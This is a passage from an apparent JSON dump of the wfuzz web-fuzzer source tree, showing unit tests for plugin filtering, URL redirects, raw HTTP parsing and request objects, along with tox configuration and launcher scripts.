mocked_isfile.return_value = True\n                            mocked_find_module.return_value = (\n                                None,\n                                \"/any/alpha/project.py\",\n                                (\".py\", \"U\", 1),\n                            )\n                            mocked_load_module.return_value = sys.modules[__name__]\n\n                            br = BRegistrant(\n                                DirLoader(**{\"base_dir\": \"beta\", \"base_path\": \"any\"})\n                            )\n\n                            self.assertEqual(\n                                sorted(br.get_plugins_names()),\n                                sorted(\n                                    [\"test_plugin1\", \"test_plugin2\", \"test_plugin3\"]\n                                ),\n                            )\n                            self.assertEqual(\n                                br.get_plugins_names(\"default\"),\n                                [\"test_plugin2\", \"test_plugin3\"],\n                            )\n                            self.assertEqual(\n                                br.get_plugins_names(\"aggressive\"), [\"test_plugin1\"]\n                            )\n                            self.assertEqual(\n                                sorted(br.get_plugins_names(\"not aggressive\")),\n                                sorted([\"test_plugin2\", \"test_plugin3\"]),\n                            )\n                            self.assertEqual(\n                                sorted(br.get_plugins_names(\"default or aggressive\")),\n                                sorted(\n                                    [\"test_plugin1\", \"test_plugin2\", \"test_plugin3\"]\n                                ),\n                            )\n                            self.assertEqual(\n                                sorted(br.get_plugins_names(\"default and safe\")),\n                                sorted([\"test_plugin3\"]),\n                            )\n                            self.assertEqual(\n                                sorted(br.get_plugins_names(\"test_pl*\")),\n                                sorted(\n                                    [\"test_plugin1\", \"test_plugin2\", \"test_plugin3\"]\n                                ),\n                            )\n                            self.assertEqual(\n                                sorted(br.get_plugins_names(\"test_plugin1\")),\n                                sorted([\"test_plugin1\"]),\n                            )\n\n    def test_load_file(self):\n        with mock.patch(\"imp.find_module\") as mocked_find_module:\n            with mock.patch(\"imp.load_module\") as mocked_load_module:\n                mocked_find_module.return_value = (\n                    None,\n                    \"any/project.py\",\n                    (\".py\", \"U\", 1),\n                )\n                mocked_load_module.return_value = sys.modules[__name__]\n\n                br = BRegistrant(\n                    FileLoader(**{\"filename\": \"project1.py\", \"base_path\": \"any\"})\n                )\n\n                self.assertEqual(\n                    sorted(br.get_plugins_names()),\n                    sorted([\"test_plugin1\", \"test_plugin2\", \"test_plugin3\"]),\n                )\n\n                self.assertTrue(br.get_plugin(\"test_plugin1\").name == \"test_plugin1\")\n                self.assertTrue(br.get_plugin(\"test_plugin2\").name == \"test_plugin2\")\n\n                with self.assertRaises(Exception) as context:\n                    br.get_plugin(\"test_\")\n                self.assertTrue(\"Multiple plugins found\" in str(context.exception))\n\n    def test_simple_filter(self):\n        with mock.patch(\"imp.find_module\") as mocked_find_module:\n            with mock.patch(\"imp.load_module\") as mocked_load_module:\n                mocked_find_module.return_value = (\n                    None,\n                    \"/any/project.py\",\n                    (\".py\", \"U\", 1),\n                )\n                mocked_load_module.return_value = sys.modules[__name__]\n\n                br = BRegistrant(\n                    FileLoader(**{\"filename\": \"project1.py\", \"base_path\": \"any\"})\n                )\n\n                with self.assertRaises(Exception) as context:\n                    modulefilter.PYPARSING = False\n                    br.get_plugins_names(\"not aggressive\")\n                self.assertTrue(\n                    \"Pyparsing missing, complex filters not allowed.\"\n                    in str(context.exception)\n                )\n\n                modulefilter.PYPARSING = False\n                self.assertEqual(\n                    sorted(br.get_plugins_names(\"test*\")),\n                    sorted([\"test_plugin1\", \"test_plugin2\", \"test_plugin3\"]),\n                )\n                self.assertEqual(\n                    sorted(br.get_plugins_names(\"test_plugin1,test_plugin2\")),\n                    sorted([\"test_plugin1\", \"test_plugin2\"]),\n                )\n                self.assertEqual(\n                    sorted(br.get_plugins_names(\"test_plugin5\")), sorted([])\n                )\n\n    def test_plugin_decorator(self):\n        with self.assertRaises(Exception) as context:\n\n            @moduleman_plugin(\"method1\")\n            class test_plugin4:\n                pass\n\n            test_plugin4()\n            self.assertTrue(\n                \"Required method method4 not implemented\" in str(context.exception)\n            )\n"
  },
  {
    "path": "tests/test_relativeurl.py",
    "content": "import pytest\n\n# Python 2 and 3: urlib.parse\n\nfrom wfuzz.fuzzrequest import FuzzRequest\n\n\n@pytest.fixture\ndef full_fuzzreq(request):\n    http_req, http_response = request.param\n    fr = FuzzRequest()\n    fr.update_from_raw_http(http_req, \"http\", http_response, None)\n\n    return fr\n\n\n@pytest.mark.parametrize(\n    \"full_fuzzreq, expected_result\",\n    [\n        (\n            (\n                \"GET /a HTTP/1.1\\n\"\n                \"Host: www.wfuzz.org\\n\"\n                \"Content-Type: application/x-www-form-urlencoded\\n\"\n                \"User-Agent: Wfuzz/2.1\\n\",\n                \"HTTP/1.0 301 Moved Permanently\\n\"\n                \"Server: SimpleHTTP/0.6 Python/3.6.5\\n\"\n                \"Date: Tue, 21 Apr 2020 21:10:53 GMT\\n\"\n                \"Location: /recursive_dir/a/\\n\",\n            ),\n            \"http://www.wfuzz.org/recursive_dir/a/\",\n        ),\n        (\n            (\n                \"GET /a HTTP/1.1\\n\"\n                \"Host: www.wfuzz.org\\n\"\n                \"Content-Type: application/x-www-form-urlencoded\\n\"\n                \"User-Agent: Wfuzz/2.1\\n\",\n                \"HTTP/1.1 301 Moved Permanently\\n\"\n                \"Date: Fri, 24 Apr 2020 11:17:51 GMT\\n\"\n                \"Server: Apache/2.4.41 () OpenSSL/1.0.2k-fips\\n\"\n                \"Strict-Transport-Security: max-age=31536000; includeSubdomains; preload\\n\"\n                \"Location: https://www.wfuzz.org/\\n\"\n                \"Content-Type: text/html; charset=iso-8859-1\\n\",\n            ),\n            None,\n        ),\n        (\n            (\n                \"GET /a HTTP/1.1\\n\"\n                \"Host: www.wfuzz.org\\n\"\n                \"Content-Type: application/x-www-form-urlencoded\\n\"\n                \"User-Agent: Wfuzz/2.1\\n\",\n                \"HTTP/1.0 404 File not found\\n\"\n                \"Server: SimpleHTTP/0.6 Python/3.6.5\\n\"\n                \"Date: Fri, 24 Apr 2020 12:37:54 GMT\\n\"\n                \"Connection: close\\n\"\n                \"Content-Type: text/html;charset=utf-8\\n\"\n                \"Content-Length: 469\\n\",\n            ),\n            None,\n        ),\n    ],\n    indirect=[\"full_fuzzreq\"],\n)\ndef test_relative_url(full_fuzzreq, expected_result):\n    assert full_fuzzreq.recursive_url == expected_result\n\n\n@pytest.mark.parametrize(\n    \"full_fuzzreq, expected_result\",\n    [\n        (\n            (\n                \"GET /a HTTP/1.1\\n\"\n                \"Host: www.wfuzz.org\\n\"\n                \"Content-Type: application/x-www-form-urlencoded\\n\"\n                \"User-Agent: Wfuzz/2.1\\n\",\n                \"HTTP/1.0 301 Moved Permanently\\n\"\n                \"Server: SimpleHTTP/0.6 Python/3.6.5\\n\"\n                \"Date: Tue, 21 Apr 2020 21:10:53 GMT\\n\"\n                \"Location: /recursive_dir/a/\\n\",\n            ),\n            True,\n        ),\n        (\n            (\n                \"GET /a HTTP/1.1\\n\"\n                \"Host: www.wfuzz.org\\n\"\n                \"Content-Type: application/x-www-form-urlencoded\\n\"\n                \"User-Agent: Wfuzz/2.1\\n\",\n                \"HTTP/1.1 301 Moved Permanently\\n\"\n                \"Date: Fri, 24 Apr 2020 11:17:51 GMT\\n\"\n                \"Server: Apache/2.4.41 () OpenSSL/1.0.2k-fips\\n\"\n                \"Strict-Transport-Security: max-age=31536000; includeSubdomains; preload\\n\"\n                \"Location: https://www.wfuzz.org/\\n\"\n                \"Content-Type: text/html; charset=iso-8859-1\\n\",\n            ),\n            False,\n        ),\n        (\n            (\n                \"GET /a HTTP/1.1\\n\"\n                \"Host: www.wfuzz.org\\n\"\n                \"Content-Type: application/x-www-form-urlencoded\\n\"\n                \"User-Agent: Wfuzz/2.1\\n\",\n                \"HTTP/1.0 404 File not found\\n\"\n                \"Server: SimpleHTTP/0.6 Python/3.6.5\\n\"\n                \"Date: Fri, 24 Apr 2020 12:37:54 GMT\\n\"\n                \"Connection: close\\n\"\n                \"Content-Type: text/html;charset=utf-8\\n\"\n                \"Content-Length: 469\\n\",\n            ),\n            False,\n        ),\n        (\n            (\n                \"GET /a/ HTTP/1.1\\n\"\n                \"Host: www.wfuzz.org\\n\"\n                \"Content-Type: application/x-www-form-urlencoded\\n\"\n                \"User-Agent: Wfuzz/2.1\\n\",\n                \"HTTP/1.0 200\\n\"\n                \"Server: SimpleHTTP/0.6 Python/3.6.5\\n\"\n                \"Date: Fri, 24 Apr 2020 12:37:54 GMT\\n\"\n                \"Connection: close\\n\"\n                \"Content-Type: text/html;charset=utf-8\\n\"\n                \"Content-Length: 469\\n\",\n            ),\n            True,\n        ),\n    ],\n    indirect=[\"full_fuzzreq\"],\n)\ndef test_is_path(full_fuzzreq, expected_result):\n    assert full_fuzzreq.is_path == expected_result\n"
  },
  {
    "path": "tests/test_req_parse.py",
    "content": "import unittest\n\nfrom wfuzz.fuzzrequest import FuzzRequest\n\n\nhttp_post_request = \"\"\"POST /slipstream/view HTTP/1.1\nHost: www\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0\nAccept: */*\nAccept-Language: en-GB,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://www\nContent-Type: text/plain;charset=UTF-8\nOrigin: https://www\nContent-Length: 3387\nConnection: close\n\n\n\na=1\"\"\"\n\n\nhttp_get_request = \"\"\"GET /sttc/bpk-fonts/55b577a1.woff2 HTTP/1.1\nHost: js.skyscnr.com\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0\nAccept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.5\nAccept-Encoding: gzip, deflate\nOrigin: https://www.skyscanner.es\nConnection: close\nReferer: https://js.skyscnr.com/sttc/oc-registry/components/base-stylesheet/0.1.33/build//static/css/main.e09b44e2.css\n\n\n\"\"\"\n\nhttp_response = \"\"\"HTTP/1.1 201 Created\nContent-Type: application/json\nContent-Length: 51\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, max-age=0\nExpires: -1\nLast-Modified: Mon, 30 Dec 2019 13:16:57 GMT\nPragma: no-cache\nServer: Unspecified\nDate: Mon, 30 Dec 2019 13:16:57 GMT\nConnection: close\n\nLINE_1\"\"\"\n\nhttp_response_no_content = \"\"\"HTTP/1.1 201 Created\nContent-Type: application/json\nContent-Length: 51\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, max-age=0\nExpires: -1\nLast-Modified: Mon, 30 Dec 2019 13:16:57 GMT\nPragma: no-cache\nServer: Unspecified\nDate: Mon, 30 Dec 2019 13:16:57 GMT\nConnection: close\n\"\"\"\n\nhttp_multi_request = \"\"\"POST /tr/ HTTP/1.1\nHost: www.facebook.com\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0\nAccept: */*\nAccept-Language: en-GB,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: multipart/form-data; boundary=---------------------------18698393981150719881279620016\nContent-Length: 3320\nOrigin: https://www.skyscanner.es\nConnection: close\nReferer: https://www.skyscanner.es/\n\n-----------------------------18698393981150719881279620016\nContent-Disposition: form-data; name=\"id\"\n\n561358470665569\n-----------------------------18698393981150719881279620016\nContent-Disposition: form-data; name=\"rqm\"\n\nSB\n-----------------------------18698393981150719881279620016--\n\n\"\"\"\n\nhttp_follow_response = \"\"\"HTTP/1.1 301 Moved Permanently\nLocation: http://www.google.com/\nContent-Type: text/html; charset=UTF-8\nDate: Mon, 30 Dec 2019 20:26:23 GMT\nExpires: Wed, 29 Jan 2020 20:26:23 GMT\nCache-Control: public, max-age=2592000\nServer: gws\nContent-Length: 219\nX-XSS-Protection: 0\nX-Frame-Options: SAMEORIGIN\n\nHTTP/1.1 200 OK\nDate: Mon, 30 Dec 2019 20:26:23 GMT\nExpires: -1\nCache-Control: private, max-age=0\nContent-Type: text/html; charset=ISO-8859-1\nP3P: CP=\"This is not a P3P policy! See g.co/p3phelp for more info.\"\nServer: gws\nX-XSS-Protection: 0\nX-Frame-Options: SAMEORIGIN\nSet-Cookie: 1P_JAR=2019-12-30-20; expires=Wed, 29-Jan-2020 20:26:23 GMT; path=/; domain=.google.com\nSet-Cookie: NID=194=Tygb5SRWSRvznMKZn4Dnl0SIkI9zcjk_U9OnBb9RlhyXWKlvEJSCorghYsp5IPR-bAm31XZlKGiL0RjLxjGigGqkGguTVmJ1C4Ae6JUKLoAYLbR-C8xAvuwoXm6Nw61Wep9U1zkq6evNZ-WbKyfYvOS6WrUi_3TXU7BqUaWZsJY; expires=Tue, 30-Jun-2020 20:26:23 GMT; path=/; domain=.google.com; HttpOnly\nAccept-Ranges: none\nVary: Accept-Encoding\nTransfer-Encoding: chunked\n\nLINE_1\"\"\"\n\n\nclass ParseRequestTest(unittest.TestCase):\n    def __init__(self, *args, **kwargs):\n        super(ParseRequestTest, self).__init__(*args, **kwargs)\n        self.maxDiff = 1000\n\n    def test_2_ways_of_parsing_content(self):\n        fr = FuzzRequest()\n        fr.update_from_raw_http(http_multi_request, \"https\", http_response)\n\n        fr2 = FuzzRequest()\n        fr2.update_from_raw_http(\n            http_multi_request, \"https\", http_response_no_content, b\"LINE_1\"\n        )\n\n        # raw content takes precedence\n        fr3 = FuzzRequest()\n        fr3.update_from_raw_http(http_multi_request, \"https\", http_response, b\"LINE_0\")\n\n        self.assertEqual(fr.content, fr2.content)\n        self.assertEqual(fr3.content, \"LINE_0\")\n\n    def test_parse_multi_raw_request(self):\n        fr = FuzzRequest()\n        fr.update_from_raw_http(http_multi_request, \"https\", http_response)\n\n        self.assertEqual(fr.params.post.id, \"561358470665569\")\n        self.assertEqual(fr.params.post.rqm, \"SB\")\n        self.assertEqual(fr.content, \"LINE_1\")\n\n    def test_parse_raw_multi_response(self):\n        fr = FuzzRequest()\n        fr.update_from_raw_http(http_multi_request, \"https\", http_follow_response)\n\n        self.assertEqual(fr.content, \"LINE_1\")\n        self.assertEqual(fr.code, 200)\n\n    def test_parse_get_crlf_request(self):\n        fr = FuzzRequest()\n        fr.update_from_raw_http(http_get_request, \"https\", \"\\n\\n\\n\")\n\n        self.assertEqual(fr.method, \"GET\")\n        self.assertEqual(fr.params.raw_post, None)\n\n    def test_parse_crlf_post_request(self):\n        fr = FuzzRequest()\n        fr.update_from_raw_http(http_post_request, \"https\", \"\\n\\n\\n\")\n\n        self.assertEqual(fr.method, \"POST\")\n        self.assertEqual(fr.params.post, {\"a\": \"1\"})\n"
  },
  {
    "path": "tests/test_reqresp.py",
    "content": "import unittest\n\n# Python 2 and 3: urlib.parse\n\nfrom wfuzz.fuzzrequest import FuzzRequest\nfrom wfuzz.ui.console.clparser import CLParser\nfrom wfuzz import __version__ as wfuzz_version\n\n\nraw_req = \"\"\"GET /a HTTP/1.1\nHost: www.wfuzz.org\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Wfuzz/{}\n\n\"\"\".format(\n    wfuzz_version\n)\n\nraw_response_header = b\"\"\"HTTP/1.0 200 Connection established\n\nHTTP/1.1 404 Not Found\nContent-Type: text/html; charset=UTF-8\nReferrer-Policy: no-referrer\nContent-Length: 1564\nDate: Wed, 24 Apr 2019 22:03:52 GMT\nAlt-Svc: quic=\":443\"; ma=2592000; v=\"46,44,43,39\"\nConnection: close\n\n\"\"\"\n\nraw_response_body = b'<!DOCTYPE html>\\n<html lang=en>\\n  <meta charset=utf-8>\\n  <meta name=viewport content=\"initial-scale=1, minimum-scale=1, width=device-width\">\\n  <title>Error 404 (Not Found)!!1</title>\\n  <style>\\n    *{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px}\\n  </style>\\n  <a href=//www.google.com/><span id=logo aria-label=Google></span></a>\\n  <p><b>404.</b> <ins>That\\xe2\\x80\\x99s an error.</ins>\\n  <p>The requested URL <code>/one</code> was not found on this server.  <ins>That\\xe2\\x80\\x99s all we know.</ins>\\n'\n\n\nclass FuzzResultFactoryTest(unittest.TestCase):\n    def __init__(self, *args, **kwargs):\n        super(FuzzResultFactoryTest, self).__init__(*args, **kwargs)\n        self.maxDiff = 1000\n\n    def test_baseline(self):\n        options = CLParser(\n            [\"wfuzz\", \"-z\", \"range,1-1\", \"http://localhost:9000/FUZZ{first}\"]\n        ).parse_cl()\n        options.compile_seeds()\n        baseline = options[\"compiled_baseline\"]\n\n        self.assertEqual(baseline.description, \"first\")\n\n        options = CLParser(\n            [\n                \"wfuzz\",\n                \"-z\",\n                \"range,1-1\",\n                \"-z\",\n                \"range,2-2\",\n                \"http://localhost:9000/FUZZ{first}/FUZ2Z{second}\",\n            ]\n        ).parse_cl()\n        options.compile_seeds()\n        baseline = options[\"compiled_baseline\"]\n\n        self.assertEqual(baseline.description, \"first - second\")\n\n    def test_from_conn(self):\n        fr = FuzzRequest()\n        fr.update_from_raw_http(\n            raw_req, \"https\", raw_response_header, raw_response_body\n        )\n\n        self.assertEqual(fr.code, 404)\n        self.assertEqual(fr.content.count(\"\\n\"), 11)\n\n\nclass FuzzRequestTest(unittest.TestCase):\n    def __init__(self, *args, **kwargs):\n        super(FuzzRequestTest, self).__init__(*args, **kwargs)\n        self.maxDiff = 1000\n\n    def test_seturl(self):\n        fr = FuzzRequest()\n\n        fr.url = \"http://www.wfuzz.org/\"\n        self.assertEqual(fr.url, \"http://www.wfuzz.org/\")\n        self.assertEqual(fr.host, \"www.wfuzz.org\")\n        self.assertEqual(fr.redirect_url, \"http://www.wfuzz.org/\")\n        self.assertEqual(fr.scheme, \"http\")\n        self.assertEqual(fr.path, \"/\")\n        self.assertEqual(fr.follow, False)\n\n        fr.url = \"http://www.wfuzz.org\"\n        self.assertEqual(fr.url, \"http://www.wfuzz.org/\")\n\n        fr.url = \"www.wfuzz.org\"\n        self.assertEqual(fr.url, \"http://www.wfuzz.org/\")\n\n        fr.url = \"FUZZ://www.wfuzz.org/\"\n        self.assertEqual(fr.url, \"FUZZ://www.wfuzz.org/\")\n        self.assertEqual(fr.scheme, \"FUZZ\")\n\n        fr.url = \"http://www.wfuzz.org/FUZZ\"\n        self.assertEqual(fr.url, \"http://www.wfuzz.org/FUZZ\")\n\n        fr.url = \"http://www.wfuzz.org/a\"\n        self.assertEqual(fr.url, \"http://www.wfuzz.org/a\")\n        self.assertEqual(fr.path, \"/a\")\n\n        fr.url = \"http://www.wfuzz.org/a\"\n        self.assertEqual(sorted(str(fr).split(\"\\n\")), sorted(raw_req.split(\"\\n\")))\n\n        fr.auth = {\"method\": \"basic\", \"credentials\": \"admin:admin\"}\n        self.assertEqual(fr.auth, {\"method\": \"basic\", \"credentials\": \"admin:admin\"})\n\n        fr.url = \"FUZZ\"\n        self.assertEqual(fr.url, \"FUZZ\")\n        self.assertEqual(fr.host, \"\")\n        self.assertEqual(fr.redirect_url, \"FUZZ\")\n        self.assertEqual(fr.scheme, \"\")\n        self.assertEqual(fr.path, \"FUZZ\")\n        self.assertEqual(fr.follow, False)\n\n        fr.url = \"http://www.wfuzz.org:80/a\"\n        self.assertEqual(fr.host, \"www.wfuzz.org:80\")\n\n        fr.url = \"https://www.wfuzz.org:80/a\"\n        self.assertEqual(fr.host, \"www.wfuzz.org:80\")\n\n        fr.url = \"www.wfuzz.org:80/a\"\n        self.assertEqual(fr.host, \"www.wfuzz.org:80\")\n\n        fr.url = \"www.wfuzz.org:80\"\n        self.assertEqual(fr.host, \"www.wfuzz.org:80\")\n\n        fr.url = \"www.wfuzz.org\"\n        self.assertEqual(fr.host, \"www.wfuzz.org\")\n\n    def test_empy_post(self):\n        fr = FuzzRequest()\n        fr.url = \"http://www.wfuzz.org/\"\n        fr.params.post = \"\"\n        self.assertEqual(fr.method, \"POST\")\n        self.assertEqual(fr.params.post, {\"\": None})\n        self.assertEqual(fr.params.raw_post, \"\")\n\n        fr = FuzzRequest()\n        fr.url = \"http://www.wfuzz.org/\"\n        fr.params.post = {}\n        self.assertEqual(fr.method, \"POST\")\n        self.assertEqual(fr.params.post, {})\n        self.assertEqual(fr.params.raw_post, \"\")\n\n        fr = FuzzRequest()\n        fr.url = \"http://www.wfuzz.org/\"\n        fr.params.post = None\n        self.assertEqual(fr.method, \"GET\")\n        self.assertEqual(fr.params.post, {})\n        self.assertEqual(fr.params.raw_post, None)\n\n    def test_setpostdata(self):\n        fr = FuzzRequest()\n        fr.url = \"http://www.wfuzz.org/\"\n        fr.params.post = \"a=1\"\n        self.assertEqual(fr.method, \"POST\")\n        self.assertEqual(fr.params.raw_post, \"a=1\")\n        self.assertEqual(fr.params.post, {\"a\": \"1\"})\n\n        fr = FuzzRequest()\n        fr.url = \"http://www.wfuzz.org/\"\n        fr.params.post = \"1\"\n        self.assertEqual(fr.method, \"POST\")\n        self.assertEqual(fr.params.post, {\"1\": None})\n        self.assertEqual(fr.params.raw_post, \"1\")\n\n        fr = FuzzRequest()\n        fr.url = \"http://www.wfuzz.org/\"\n        fr.params.post = {\"a\": 1}\n        self.assertEqual(fr.method, \"POST\")\n        self.assertEqual(fr.params.post, {\"a\": \"1\"})\n        self.assertEqual(fr.params.raw_post, \"a=1\")\n\n        fr = FuzzRequest()\n        fr.url = \"http://www.wfuzz.org/\"\n        fr.params.post = {\"a\": \"1\"}\n        self.assertEqual(fr.method, \"POST\")\n        self.assertEqual(fr.params.post, {\"a\": \"1\"})\n        self.assertEqual(fr.params.raw_post, \"a=1\")\n\n        fr = FuzzRequest()\n        fr.url = \"http://www.wfuzz.org/\"\n        fr.params.post = \"{'a': '1'}\"\n        self.assertEqual(fr.method, \"POST\")\n        self.assertEqual(fr.params.post, {\"{'a': '1'}\": None})\n\n    def test_setgetdata(self):\n        fr = FuzzRequest()\n\n        fr.url = \"http://www.wfuzz.org/\"\n        fr.params.get = {\"a\": \"1\"}\n        self.assertEqual(fr.method, \"GET\")\n        self.assertEqual(fr.params.get, {\"a\": \"1\"})\n\n    def test_allvars(self):\n        fr = FuzzRequest()\n        fr.url = \"http://www.wfuzz.org/\"\n        fr.params.get = {\"a\": \"1\", \"b\": \"2\"}\n        fr.wf_allvars = \"allvars\"\n        self.assertEqual(fr.wf_allvars_set, {\"a\": \"1\", \"b\": \"2\"})\n\n        fr = FuzzRequest()\n        fr.url = \"http://www.wfuzz.org/\"\n        fr.params.post = {\"a\": \"1\", \"b\": \"2\"}\n        fr.wf_allvars = \"allpost\"\n        self.assertEqual(fr.wf_allvars_set, {\"a\": \"1\", \"b\": \"2\"})\n\n        default_headers = dict(\n            [\n                (\"Content-Type\", \"application/x-www-form-urlencoded\"),\n                (\"User-Agent\", \"Wfuzz/{}\".format(wfuzz_version)),\n                (\"Host\", \"www.wfuzz.org\"),\n            ]\n        )\n\n        fr = FuzzRequest()\n        fr.url = \"http://www.wfuzz.org/\"\n        fr.wf_allvars = \"allheaders\"\n        self.assertEqual(fr.wf_allvars_set, default_headers)\n\n    def test_cache_key(self):\n        fr = FuzzRequest()\n        fr.url = \"http://www.wfuzz.org/\"\n        self.assertEqual(fr.to_cache_key(), \"http://www.wfuzz.org/-\")\n\n        fr = FuzzRequest()\n        fr.url = \"http://www.wfuzz.org/\"\n        fr.params.get = {\"a\": \"1\", \"b\": \"2\"}\n        self.assertEqual(fr.to_cache_key(), \"http://www.wfuzz.org/-ga-gb\")\n\n        fr = FuzzRequest()\n        fr.url = \"http://www.wfuzz.org/\"\n        fr.params.post = {\"c\": \"1\", \"d\": \"2\"}\n        self.assertEqual(fr.to_cache_key(), \"http://www.wfuzz.org/-pc-pd\")\n\n        fr = FuzzRequest()\n        fr.url = \"http://www.wfuzz.org/\"\n        fr.params.get = {\"a\": \"1\", \"b\": \"2\"}\n        fr.params.post = {\"c\": \"1\", \"d\": \"2\"}\n        self.assertEqual(fr.to_cache_key(), \"http://www.wfuzz.org/-ga-gb-pc-pd\")\n\n        fr = FuzzRequest()\n        fr.url = \"http://www.wfuzz.org/\"\n        fr.params.get = {\"a\": \"1\", \"b\": \"2\"}\n        fr.params.post = {\"a\": \"1\", \"b\": \"2\"}\n        self.assertEqual(fr.to_cache_key(), \"http://www.wfuzz.org/-ga-gb-pa-pb\")\n\n        fr = FuzzRequest()\n        fr.url = \"http://www.wfuzz.org/\"\n        fr.params.post = \"1\"\n        self.assertEqual(fr.to_cache_key(), \"http://www.wfuzz.org/-p1\")\n\n        fr = FuzzRequest()\n        fr.url = \"http://www.wfuzz.org/\"\n        fr.params.post = \"\"\n        self.assertEqual(fr.to_cache_key(), \"http://www.wfuzz.org/-p\")\n\n    def test_cache_key_json_header_before(self):\n        fr = FuzzRequest()\n        fr.url = \"http://www.wfuzz.org/\"\n        fr.params.post = \"1\"\n        fr.headers.request = {\"Content-Type\": \"application/json\"}\n\n        self.assertEqual(fr.to_cache_key(), \"http://www.wfuzz.org/-p1\")\n\n    def test_cache_key_json_header_after(self):\n        fr = FuzzRequest()\n        fr.headers.request = {\"Content-Type\": \"application/json\"}\n        fr.url = \"http://www.wfuzz.org/\"\n        fr.params.post = \"1\"\n\n        self.assertEqual(fr.to_cache_key(), \"http://www.wfuzz.org/-p1\")\n\n    def test_cache_key_get_var(self):\n        fr = FuzzRequest()\n        fr.url = \"http://www.wfuzz.org/?a&b=1\"\n\n        self.assertEqual(fr.to_cache_key(), \"http://www.wfuzz.org/-ga-gb\")\n\n    def test_get_vars(self):\n        fr = FuzzRequest()\n        fr.url = \"http://www.wfuzz.org/?a&b=1\"\n        self.assertEqual(fr.params.get, {\"a\": None, \"b\": \"1\"})\n\n        fr = FuzzRequest()\n        fr.url = \"http://www.wfuzz.org/?\"\n        self.assertEqual(fr.params.get, {})\n\n        fr = FuzzRequest()\n        fr.url = \"http://www.wfuzz.org/\"\n        self.assertEqual(fr.params.get, {})\n\n    def test_setpostdata_with_json(self):\n        fr = FuzzRequest()\n        fr.headers.request = {\"Content-Type\": \"application/json\"}\n        fr.url = \"http://www.wfuzz.org/\"\n        fr.params.post = '{\"string\": \"Foo bar\",\"boolean\": false}'\n        self.assertEqual(fr.params.post, {\"string\": \"Foo bar\", \"boolean\": False})\n\n        fr = FuzzRequest()\n        fr.headers.request = {\"Content-Type\": \"application/json\"}\n        fr.url = \"http://www.wfuzz.org/\"\n        fr.params.post = '{\"array\": [1,2]}'\n        self.assertEqual(fr.params.post, {\"array\": [1, 2]})\n\n    def test_post_bad_json(self):\n        fr = FuzzRequest()\n        fr.headers.request = {\"Content-Type\": \"application/json\"}\n        fr.url = \"http://www.wfuzz.org/\"\n        fr.params.post = \"1\"\n\n        self.assertEqual(fr.method, \"POST\")\n        self.assertEqual(fr.params.post, {\"1\": None})\n        self.assertEqual(fr.params.raw_post, \"1\")\n\n        fr = FuzzRequest()\n        fr.url = \"http://www.wfuzz.org/\"\n        fr.headers.request = {\"Content-Type\": \"application/json\"}\n        fr.params.post = \"a=1\"\n        self.assertEqual(fr.method, \"POST\")\n        self.assertEqual(fr.params.raw_post, \"a=1\")\n        self.assertEqual(fr.params.post, {\"a\": \"1\"})\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tox.ini",
    "content": "[tox]\nenvlist = begin,docker,py38,end\n\n[testenv]\nallowlist_externals = make\ncommands =\n  make flake8\n  coverage run --append -m pytest -v -s tests/\ndeps = \n  .[dev]\n\n[testenv:docker]\nallowlist_externals = docker-compose\nchangedir = tests\ncommands = docker-compose -f server_dir/docker-compose.yml up -d\n\n[testenv:begin]\ncommands = coverage erase\ndeps = coverage\n\n[testenv:end]\nallowlist_externals = make\ncommands = make coverage\ndeps = coverage\n\n[testenv:codecov]\npassenv = CI TRAVIS TRAVIS_*\ndeps = codecov\ncommands = codecov\n"
  },
  {
    "path": "wfencode",
    "content": "#!/bin/sh\npython src/wfencode.py \"$@\"\n"
  },
  {
    "path": "wfencode.bat",
    "content": "call python src\\wfencode.py %*\n"
  },
  {
    "path": "wfpayload",
    "content": "#!/bin/sh\npython src/wfpayload.py \"$@\"\n"
  },
  {
    "path": "wfpayload.bat",
    "content": "call python src\\wfpayload.py %*\n"
  },
  {
    "path": "wfuzz",
    "content": "#!/bin/sh\npython src/wfuzz-cli.py \"$@\"\n"
  },
  {
    "path": "wfuzz.bat",
    "content": "call python src\\wfuzz-cli.py %*\n"
  },
  {
    "path": "wfuzz_bash_completion",
